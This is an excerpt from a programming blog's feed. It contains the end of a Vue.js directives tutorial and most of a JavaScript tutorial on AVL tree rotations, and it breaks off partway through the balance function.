&#x3C;button v-bind:disabled=&#x22;isButtonDisabled&#x22;&#x3E;Button&#x3C;/button&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> :</td>
        <td>Shortcut for v-bind</td>
        <td>
          <pre>
          <code>
&#x3C;span :title=&#x22;tooltip&#x22;&#x3E;&#x3C;/span&#x3E;
&#x3C;li v-bind:class=&#x22;&#123;completed: todo.isDone &#125;&#x22;&#x3E;&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-text </td>
        <td>Inject text into the element</td>
        <td>
          <pre>
          <code>
&#x3C;h1 v-text=&#x22;title&#x22;&#x3E;&#x3C;/h1&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-html </td>
        <td>Inject raw HTML into the element</td>
        <td>
          <pre>
          <code>
&#x3C;blog-post v-html=&#x22;content&#x22;&#x3E;&#x3C;/blog-post&#x3E;
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table>
</div>
<div class="table--responsive">
  <table class="table">
    <caption>List Rendering</caption>
    <thead>
      <th>Name</th>
      <th>Description</th>
      <th>Examples</th>
    </thead>
    <tbody>
      <tr>
        <td> v-for </td>
        <td>Iterate over elements</td>
        <td>
          <pre>
          <code>
&#x3C;li v-for=&#x22;todo in todos&#x22;&#x3E; {{todo.text}}&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-for </td>
        <td>Iterate with index</td>
        <td>
          <pre>
          <code>
&#x3C;li v-for=&#x22;(item, index) in items&#x22;&#x3E;
  {{ parentMessage }} - {{ index }} - {{ item.message }}
&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-for </td>
        <td>Iterate over object's values</td>
        <td>
          <pre>
          <code>
&#x3C;li v-for=&#x22;value in object&#x22;&#x3E;
  {{ value }}  
&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-for </td>
        <td>Iterate over object's keys/values</td>
        <td>
          <pre>
          <code>
&#x3C;li v-for=&#x22;(value, key) in object&#x22;&#x3E;
  {{ key }}: {{ value }}  
&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-for </td>
        <td>Iterate with keys, values and index</td>
        <td>
          <pre>
          <code>
&#x3C;li v-for=&#x22;(value, key, index) in object&#x22;&#x3E;
  {{index}}.{{ key }}: {{ value }}  
&#x3C;/li&#x3E;
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table>
</div>
<div class="table--responsive">
  <table class="table">
    <caption>Events</caption>
    <thead>
      <th>Name</th>
      <th>Description</th>
      <th>Examples</th>
    </thead>
    <tbody>
      <tr>
        <td> v-on:click </td>
        <td>Invoke callback on click</td>
        <td>
          <pre>
          <code>
&#x3C;button class=&#x22;destroy&#x22; v-on:click=&#x22;destroyTodo(todo)&#x22;&#x3E;&#x3C;/button&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> @ </td>
        <td>`@` is shorcut for `v-on:`</td>
        <td>
          <pre>
          <code>
&#x3C;input class=&#x22;edit&#x22;
    @keyup.esc=&#x22;cancelEditing&#x22;
    @keyup.enter=&#x22;finishEditing&#x22;
    @blur=&#x22;finishEditing&#x22;&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td>v-on:dblclick </td>
        <td>Invoke callback on double-click</td>
        <td>
          <pre>
          <code>
&#x3C;label @dblclick=&#x22;startEditing(todo)&#x22;&#x3E;{{todo.text}}&#x3C;/label&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> @keyup.enter </td>
        <td>Invoke callback on keyup <kbd>enter</kbd></td>
        <td>
          <pre>
          <code>
&#x3C;input @keyup.enter=&#x22;createTodo&#x22;&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> @keyup.esc </td>
        <td>Invoke callback on keyup <kbd>esc</kbd></td>
        <td>
          <pre>
          <code>
&#x3C;input @keyup.esc=&#x22;cancelEditing&#x22;&#x3E;
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table>
</div>
<div class="table--responsive">
  <table class="table">
    <caption>Conditional Rendering</caption>
    <thead>
      <th>Name</th>
      <th>Description</th>
      <th>Examples</th>
    </thead>
    <tbody>
      <tr>
        <td> v-show </td>
        <td>Show or hide the element if the expression evaluates to truthy</td>
        <td>
          <pre>
          <code>
&#x3C;button v-show=&#x22;completedTodos.length&#x22;&#x3E;Clear completed&#x3C;/button&#x3E;
          </code>
          </pre>
        </td>
      </tr>
      <tr>
        <td> v-if </td>
        <td>Remove or add the element if the expression evaluates to truthy</td>
        <td>
          <pre>
          <code>
&#x3C;footer v-if=&#x22;todos.length&#x22;&#x3E;...&#x3C;/footer&#x3E;
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table>
</div>
<div class="table--responsive">
  <table class="table">
    <caption>Automatic Data<->DOM Sync</caption>
    <thead>
      <th>Name</th>
      <th>Description</th>
      <th>Examples</th>
    </thead>
    <tbody>
      <tr>
        <td> v-model </td>
        <td>Keep data and DOM in sync automatially</td>
        <td>
          <pre>
          <code>
&#x3C;input class=&#x22;toggle&#x22; type=&#x22;checkbox&#x22; v-model=&#x22;todo.isDone&#x22;&#x3E;
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table>
</div>
<div class="table--responsive">
  <table class="table">
    <caption>Vue instance</caption>
    <thead>
      <th>Example with all attributes</th>
    </thead>
    <tbody>
      <tr>
        <td>
          <pre>
          <code>
// Vue Instance
const todoApp = new Vue(&#123;
  // element matcher
  el: '.todoapp',

<p>  // Reactive data, when something changes here it gets updated on the templates
  // data should be a function so every instance get’s a different data
  data() &#123;
    return &#123;
      title: ‘Todos’,
      editing: null,
    &#125;
  &#125;,</p>
<p>  // invoke this functions on event handlers, etc.
  methods: &#123;
    createTodo(event) &#123;
      const textbox = event.target;
      this.todos.push(&#123; text: textbox.value.trim(), isDone: false &#125;);
      textbox.value = ‘’;
    &#125;,
  &#125;,</p>
<p>  // cached methods (only get invokes when data changes)
  computed: &#123;
    activeTodos() &#123;
      return this.todos.filter(t =&gt; !t.isDone);
    &#125;,
  &#125;,</p>
<p>  // watch for changes on the data
  watch: &#123;
    todos: &#123;
      deep: true,
      handler(newValue, oldValue) &#123;
        localStorage.setItem(LOCAL_STORAGE_KEY, JSON.stringify(newValue));
      &#125;
    &#125;
  &#125;,
&#125;);
          </code>
          </pre>
        </td>
      </tr>
    </tbody>
  </table></p>
</div>


<!-- Feeback
https://news.ycombinator.com/item?id=17762421
Good intro, few nitpicks:
- it should be mentioned that components have to return data as a function [0]

- v-for should ideally be used with keys [1]

[0] https://vuejs.org/v2/guide/components.html#data-Must-Be-a-Fu...

[1] https://vuejs.org/v2/guide/list.html#key

One should definitely mention the vue.js docs for basics.

-->
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;In this tutorial, you are going to learn the basics of Vue.js. While we learn, we are going to build a Todo app that will help us to put in practice what we learn.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Web Development" scheme="https://adrianmejia.com/categories/coding/web-development/"/>
    
      <category term="Vue" scheme="https://adrianmejia.com/categories/coding/web-development/vue/"/>
    
    
      <category term="javascript" scheme="https://adrianmejia.com/tags/javascript/"/>
    
      <category term="todo app" scheme="https://adrianmejia.com/tags/todo-app/"/>
    
      <category term="vuejs" scheme="https://adrianmejia.com/tags/vuejs/"/>
    
  </entry>
  
  <entry>
    <title>Self-balanced Binary Search Trees with AVL in JavaScript</title>
    <link href="https://adrianmejia.com/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/"/>
    <id>https://adrianmejia.com/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/</id>
    <published>2018-07-16T19:43:11.000Z</published>
    <updated>2019-05-30T19:43:11.000Z</updated>
    
    <content type="html"><![CDATA[<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML" async></script>


<p>Binary Search Trees (BST) is used for many things that we might not be aware of. For instance: in compilers to generate syntax trees, cryptography and in compressions algorithms used in JPG and MP3. However, search trees need to be balanced to be fast. So, we are going to discuss how to keep the BST balanced as you add and remove elements.</p>
<a id="more"></a>

<p>In this post, we are going to explore different techniques to balance a tree. We are going to use rotations to move nodes around and the AVL algorithm to keep track if the tree is balanced or needs adjustments. Let’s dig in!</p>
<p>You can find all these implementations and more in the Github repo:
<a href="https://github.com/amejiarosario/dsa.js">https://github.com/amejiarosario/dsa.js</a></p>
<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
<!-- 1. Intro to Algorithm's Time Complexity and Big O Notation **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight time complexities that every programmer should know</a></p>
<!-- 1. Eight time complexities that every programmer should know **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
<!-- 1. Graph Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
<!-- 1. Trees Data Structures for Beginners **👈 you are here** -->
</li>
<li><p>Self-balanced Binary Search Trees <strong>👈 you are here</strong></p>
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
</li>
</ol>
<hr>
<p>Let’s start by defining what is a “balanced tree” and the pitfalls of an “unbalanced tree”.</p>
<h2 id="Balanced-vs-Unbalanced-Binary-Search-Tree"><a href="#Balanced-vs-Unbalanced-Binary-Search-Tree" class="headerlink" title="Balanced vs. Unbalanced Binary Search Tree"></a>Balanced vs. Unbalanced Binary Search Tree</h2><p>As discussed in the
<a href="/blog/2018/06/11/data-structures-for-beginners-trees-binary-search-tree-tutorial/">previous post</a>
the worst nightmare for a BST is to be given numbers in order (e.g. 1, 2, 3, 4, 5, 6, 7, …).</p>
<img src="/images/balanced-vs-non-balanced-tree.jpg" class="" title="Balanced vs. unbalanced Tree">

<p>If we ended up with a tree like the one on the left, we are screwed because performance will go to the floor. To find out if a node is on the tree or not, you will have to visit every node when the tree is unbalanced. That takes <em>O(n)</em>, while if we keep the node balanced in every insertion or deletion, we could have <em>O(log n)</em>.</p>
<p>Again, this might not look like a big difference, but when you have a million nodes, the difference is huge! We are talking about visiting <code>1,000,000</code>  nodes vs. visiting <code>20</code>!</p>
<p>“Ok, I’m sold. How do I keep the tree balanced?” I’m glad you asked 😉. Well, let’s first learn when to tell that a tree is unbalanced.</p>
<h2 id="When-a-tree-is-balanced-non-balanced"><a href="#When-a-tree-is-balanced-non-balanced" class="headerlink" title="When a tree is balanced/non-balanced?"></a>When a tree is balanced/non-balanced?</h2><p>Take a look at the following trees and tell which one is balanced and which one is not.</p>
<img src="/images/full-complete-perfect-binary-tree.jpg" class="" title="Full vs. Complete vs. Perfect Binary Tree">

<p>Well, a tree is definately balanced when is a perfect tree (all the levels on the tree have maximum number of nodes). But what about
<a href="/blog/2018/06/11/data-structures-for-beginners-trees-binary-search-tree-tutorial/#Full-Complete-and-Perfect-binary-trees">full trees</a>
or
<a href="/blog/2018/06/11/data-structures-for-beginners-trees-binary-search-tree-tutorial/#Full-Complete-and-Perfect-binary-trees">complete trees</a>
?</p>
<p>The “complete tree” looks somewhat balanced, right? What about the full tree? Well, it starts to get tricky. Let’s work on a definition.</p>
<p>A tree is <strong>balanced</strong> if:</p>
<ol>
<li>The left subtree height and the right subtree height differ by at most 1.</li>
<li>Visit every node making sure rule <strong>#1</strong> is satisfied.</li>
</ol>
<blockquote>
<p>Note: Height of a node is the distance (edge count) from the farthest child to itself.</p>
</blockquote>
<p>For instance, if you have a tree with seven nodes:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">    10</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  5    20</span><br><span class="line"> &#x2F;     &#x2F; \</span><br><span class="line">4    15   30</span><br><span class="line">     &#x2F;</span><br><span class="line">    12</span><br></pre></td></tr></table></figure>

<p>If you check the subtrees’
<a href="/blog/2018/06/11/data-structures-for-beginners-trees-binary-search-tree-tutorial/#Trees-basic-concepts">heights</a> (edge counts to farthest leaf node)
recursively you will notice they never differ by more than one.</p>
<ul>
<li><code>10</code> descendants:<ul>
<li>Left subtree <code>5</code> has a height of 1, while right subtree <code>20</code> has a height of <code>2</code>. The difference is one so: <strong>Balanced</strong>!</li>
</ul>
</li>
<li><code>20</code> descendants:<ul>
<li>Left subtree<code>15</code> has a height of <code>1</code>, while right subtree <code>30</code> has a height of 0. So the diff is <code>1</code>:  <strong>Balanced</strong>!</li>
</ul>
</li>
</ul>
<p>On the other hand, take a look at this tree:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">     40</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  35    60*</span><br><span class="line"> &#x2F;     &#x2F;</span><br><span class="line">25    50</span><br><span class="line">     &#x2F;</span><br><span class="line">    45</span><br></pre></td></tr></table></figure>

<p>Let’s check the height of the subtree recursively:</p>
<ul>
<li><code>40</code> descendants:<ul>
<li>Left subtree <code>35</code> has a height of 1, while right subtree <code>60</code> has a height of <code>2</code>. The difference is one so: <strong>Balanced</strong>!</li>
</ul>
</li>
<li><code>60</code> descendants:<ul>
<li>Left subtree <code>50</code> has a height of <code>2</code>, while the right subtree (none) has a height of <code>0</code>. The difference between <code>2</code> and <code>0</code> is more than one, so: <strong>NOT balanced</strong>!</li>
</ul>
</li>
</ul>
<p>Hopefully, now you can calculate balanced and unbalanced trees.</p>
<p>What can we do when we find an unbalanced tree? We do rotations!</p>
<p>If we take the same tree as before and move <code>50</code> to the place of <code>60</code> we get the following:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">     40</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  35    50</span><br><span class="line"> &#x2F;     &#x2F;   \</span><br><span class="line">25    45    60*</span><br></pre></td></tr></table></figure>
<p>After rotating <code>60</code> to the right, It’s balanced! Let’s learn all about it in the next section.</p>
<h2 id="Tree-rotations"><a href="#Tree-rotations" class="headerlink" title="Tree rotations"></a>Tree rotations</h2><p>Before throwing any line of code, let’s spend some time thinking about how to balance small trees using rotations.</p>
<h3 id="Left-Rotation"><a href="#Left-Rotation" class="headerlink" title="Left Rotation"></a>Left Rotation</h3><p>Let’s say that we have the following tree with ascending values: <code>1-2-3</code></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1*                                        2</span><br><span class="line"> \                                       &#x2F;  \</span><br><span class="line">  2     ---| left-rotation(1) |--&gt;      1*   3</span><br><span class="line">   \</span><br><span class="line">    3</span><br></pre></td></tr></table></figure>

<p>To perform a left rotation on node <code>1</code>, we move it down as it’s children’s (<code>2</code>) <strong>left</strong> descendant.</p>
<img src="/images/left-rotation2.gif" class="" title="Left rotate on 2">

<p>This is called <strong>single left rotation</strong> or <strong>Left-Left (LL) rotation</strong>.</p>
<p>For the coding part, let’s do another example:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1                                 1</span><br><span class="line"> \                                 \</span><br><span class="line">  2*                                3</span><br><span class="line">   \    --left-rotation(2)-&gt;       &#x2F; \</span><br><span class="line">    3                             2*  4</span><br><span class="line">     \</span><br><span class="line">      4</span><br></pre></td></tr></table></figure>

<p>To define the tree, we are using
<a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-node.js">TreeNode </a>
that we developed in the
<a href="https://adrianmejia.com/blog/2018/06/11/data-structures-for-beginners-trees-binary-search-tree-tutorial/#BST-Implementation">previous post</a>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> n1 = <span class="keyword">new</span> TreeNode(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">const</span> n2 = <span class="keyword">new</span> TreeNode(<span class="number">2</span>);</span><br><span class="line"><span class="keyword">const</span> n3 = <span class="keyword">new</span> TreeNode(<span class="number">3</span>);</span><br><span class="line"><span class="keyword">const</span> n4 = <span class="keyword">new</span> TreeNode(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">n1.right = n2;</span><br><span class="line">n2.right = n3;</span><br><span class="line">n3.right = n4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> newParent = leftRotation(n2);</span><br><span class="line"><span class="built_in">console</span>.log(newParent === n3); <span class="comment">// true</span></span><br></pre></td></tr></table></figure>

<p>In this case, we are rotating 2 to the left. Let’s implement the <code>leftRotation</code> function.</p>
<figure class="highlight js"><figcaption><span>leftRotation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">leftRotation</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> newParent = node.right; <span class="comment">// e.g. 3</span></span><br><span class="line">  <span class="keyword">const</span> grandparent = node.parent; <span class="comment">// e.g. 1</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// make 1 the parent of 3 (previously was the parent of 2)</span></span><br><span class="line marked">  swapParentChild(node, newParent, grandparent);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// do LL rotation</span></span><br><span class="line">  newParent.left = node; <span class="comment">// makes 2 the left child of 3</span></span><br><span class="line">  node.right = <span class="literal">undefined</span>; <span class="comment">// clean 2&#x27;s right child</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> newParent; <span class="comment">// 3 is the new parent (previously was 2)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Notice that we are using a utility function to swap parents called <code>swapParentChild</code>.</p>
<figure class="highlight js"><figcaption><span>swapParentChild</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">swapParentChild</span>(<span class="params">oldChild, newChild, parent</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (parent) &#123;</span><br><span class="line">    <span class="keyword">const</span> side = oldChild.isParentRightChild ? <span class="string">&#x27;right&#x27;</span> : <span class="string">&#x27;left&#x27;</span>;</span><br><span class="line">    <span class="comment">// this set parent child AND also</span></span><br><span class="line">    parent[side] = newChild;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// no parent? so set it to null</span></span><br><span class="line">    newChild.parent = <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We are using this function to make <code>1</code> the parent of <code>3</code>. We are going to use it rotation right as well.</p>
<h3 id="Right-Rotation"><a href="#Right-Rotation" class="headerlink" title="Right Rotation"></a>Right Rotation</h3><p>We have the following tree with descending values <code>4-3-2-1</code>:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">      4                                        4</span><br><span class="line">     &#x2F;                                        &#x2F;</span><br><span class="line">    3*                                       2</span><br><span class="line">   &#x2F;                                        &#x2F;  \</span><br><span class="line">  2       ---| right-rotation(3) |--&gt;      1    3*</span><br><span class="line"> &#x2F;</span><br><span class="line">1</span><br></pre></td></tr></table></figure>

<p>To perform a right rotation on node <code>3</code>, we move it down as its child <code>2</code>‘s <strong>right</strong> descendant.</p>
<img src="/images/right-rotation2.gif" class="" title="Left rotate on 2">

<p>This is called <strong>single right rotation</strong> or <strong>Right-Right (RR) rotation</strong>.</p>
<p>The code is pretty similar to what we did on the left rotation:</p>
<figure class="highlight js"><figcaption><span>rightRotation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">rightRotation</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> newParent = node.left;</span><br><span class="line">  <span class="keyword">const</span> grandparent = node.parent;</span><br><span class="line"></span><br><span class="line marked">  swapParentChild(node, newParent, grandparent);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// do RR rotation</span></span><br><span class="line marked">  newParent.right = node;</span><br><span class="line marked">  node.left = <span class="literal">undefined</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> newParent;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The <code>rightRotation</code> does the following:</p>
<ol>
<li>First, we swap <code>4</code>‘s child: before it was <code>3</code> and after the swap is <code>2</code> (line 5).</li>
<li>Later, we make <code>3</code> the <strong>right</strong> child of 2 (line 8) and</li>
<li>Finally, we clean up the <code>3</code> right child reference to null (line 9).</li>
</ol>
<p>Now that know how single rotations work to the left and right we can combine them: left-right and right-left rotations.</p>
<h3 id="Left-Right-Rotation"><a href="#Left-Right-Rotation" class="headerlink" title="Left-Right Rotation"></a>Left-Right Rotation</h3><p>If we insert values on a BST in this order: 3-1-2. We will get an unbalanced tree. To balance the tree, we have to do a <code>leftRightRotation(3)</code>.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">  3*                                       2*</span><br><span class="line"> &#x2F;                                        &#x2F;  \</span><br><span class="line">1    --| left-right-rotation(3) |-&gt;      1    3</span><br><span class="line"> \</span><br><span class="line">  2</span><br></pre></td></tr></table></figure>

<p>Double rotations are a combination of the other two rotations we discussed in (LL and RR):</p>
<p>If we expand the <code>left-right-rotation</code> into the two single rotations we would have:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">  3*                          3*</span><br><span class="line"> &#x2F;                          &#x2F;                            2</span><br><span class="line">1   -left-rotation(1)-&gt;    2    -right-rotation(3)-&gt;    &#x2F;  \</span><br><span class="line"> \                        &#x2F;                            1    3*</span><br><span class="line">  2                      1</span><br></pre></td></tr></table></figure>

<ul>
<li>left-rotation(1): We do a left rotation on the nodes’ left child. E.g. <code>1</code>.</li>
<li>right-rotation(3): right rotation on the same node. E.g. <code>3</code>.</li>
</ul>
<img src="/images/left-right-rotation.gif" class="" title="Left-Right rotate on 2">

<p>This double rotation is called <strong>Left-Right (LR) rotation</strong>.</p>
<figure class="highlight js"><figcaption><span>leftRightRotation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">leftRightRotation</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  leftRotation(node.left);</span><br><span class="line">  <span class="keyword">return</span> rightRotation(node);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The code is straightforward since we leverage the <code>leftRotation</code> and <code>rightRotation</code> that we did before.</p>
<h3 id="Right-Left-Rotation"><a href="#Right-Left-Rotation" class="headerlink" title="Right-Left Rotation"></a>Right-Left Rotation</h3><p>When we insert nodes on the following order: <code>1-3-2</code>, we need to perform a <code>rightLeftRotation(1)</code> to balance the tree.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1*                           1*</span><br><span class="line"> \                            \                              2</span><br><span class="line">   3   -right-rotation(3)-&gt;    2   -left-rotation(1)-&gt;      &#x2F;  \</span><br><span class="line"> &#x2F;                              \                          1*   3</span><br><span class="line">2                                3</span><br></pre></td></tr></table></figure>

<p>The code to is very similar to LR rotation:</p>
<figure class="highlight js"><figcaption><span>leftRightRotation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">rightLeftRotation</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  rightRotation(node.right);</span><br><span class="line">  <span class="keyword">return</span> leftRotation(node);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We know all the rotations needed to balanced any binary tree. Let’s go ahead, use the AVL algorithm to keep it balanced on insertions/deletions.</p>
<h2 id="AVL-Tree-Overview"><a href="#AVL-Tree-Overview" class="headerlink" title="AVL Tree Overview"></a>AVL Tree Overview</h2><p><strong>AVL Tree</strong> was the first self-balanced tree invented. It is named after the two inventors <strong>A</strong>delson-<strong>V</strong>elsky and <strong>L</strong>andis. In their self-balancing algorithm if one subtree differs from the other by at most one, then rebalancing is done using rotations.</p>
<p>We already know how to do rotations from the previous sections; the next step is to figure out the subtree’s heights. We are going to call <strong>balance factor</strong>, the diff between the left and right subtree on a given node.</p>
<blockquote>
<p>balanceFactor = leftSubtreeHeight - rightSubtreeHeight</p>
</blockquote>
<p>If the balance factor is bigger than <code>1</code> or less than <code>-1</code> then, we know we need to balance that node. We can write the balance function as follows:</p>
<figure class="highlight js"><figcaption><span>Balance</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-rotations.js#L98">Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">balance</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">if</span> (node.balanceFactor &gt; <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="comment">// left subtree is higher than right subtree</span></span><br><span class="line">    <span class="keyword">if</span> (node.left.balanceFactor &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      rightRotation(node);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (node.left.balanceFactor &lt; <span class="number">0</span>) &#123;</span><br><span class="line">      leftRightRotation(node);</span><br><span class="line">    &#125;</span><br><span class="line marked">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (node.balanceFactor &lt; <span class="number">-1</span>) 